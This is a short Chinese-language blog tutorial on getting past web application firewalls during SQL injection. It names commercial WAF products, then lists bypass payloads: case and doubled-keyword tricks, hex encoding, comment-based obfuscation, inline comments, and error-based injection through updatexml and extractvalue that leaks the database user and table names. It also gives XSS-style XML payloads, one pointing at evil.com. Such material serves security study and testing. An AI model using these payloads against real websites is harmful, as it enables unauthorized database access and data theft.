sql注入之waf绕过1（）

最新推荐文章于 2024-02-08 14:30:00 发布

大帝澧都

最新推荐文章于 2024-02-08 14:30:00 发布

阅读量394

点赞数

文章标签：网络

本文链接：https://blog.csdn.net/weixin_52699809/article/details/128207876

版权

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

文章目录

前言
一、常见waf分类？
二、绕过方法
总结

前言

Web应用防护系统（也称为：网站应用级入侵防御系统。英文：Web Application Firewall，简称：WAF）。利用国际上公认的一种说法：Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

提示：以下是本篇文章正文内容，下面案例可供参考

一、常见waf分类

把WAF分为4类：

云WAF类、硬件WAF类、软件WAF类、网站内置WAF类

1 、云 waf

安全宝创宇盾、玄武盾、腾讯云、百度云、西部数码、阿里云盾、奇安信网站卫士

2 、软件 WAF

D盾：http://www.d99net.net/

云锁：https://yunsuo.qianxin.com/

网防：http://www.weishi110.cn/static/index.html

安全狗：https://www.safedog.cn/

护卫神：https://www.hws.com/

智创：https://www.zcnt.com/

悬镜：https://www.xmirror.cn/

UPUPW：https://www.upupw.net/

WTS-WAF：https://www.west.cn/

安骑士：https://help.aliyun.com/product/28449.html

dotDefender：http://www.applicure.com/Products/

3 、硬件 WAF

绿盟：https://www.nsfocus.com.cn/

安恒：https://www.dbappsecurity.com.cn/

铱(yi)迅：https://www.yxlink.com/

天融信深信服

启明星辰

知道创宇

F5 BIG-IP：https://www.f5.com/

4 、网站内置 WAF

在搭建网站的时候，有很多企业会选择自己写过滤的规则。那么这种绕过的姿势就需要根据网站的过滤规则来尝试了。

二、绕过方法

1.大小写绕过

Or

aNd

2.双写绕过

oorr

anandd

~~aanndd~~ 这样的绕过是错误的（waf检测到第一个and时会把and删除，剩下的字母依然能够组合成and绕过才算成功）

3.十六进制绕过

or ——> o\x72

4.ByPass模糊匹配

常用于过滤空格等

将空格替换为/*11*/ ,把11换成 !*/ 放入bp爆破

5.关键字内联

/*!union*/

/*!select*/

6.逻辑绕过

过滤代码 1 && (select user from users where user_id = 1) = 'admin'

绕过方式 1 && (select user from users limit 1) = 'admin'

7.生僻函数绕过

MySQL/PostgreSQL支持XML函数：Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);　　　　　　　　　　

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror));　//postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))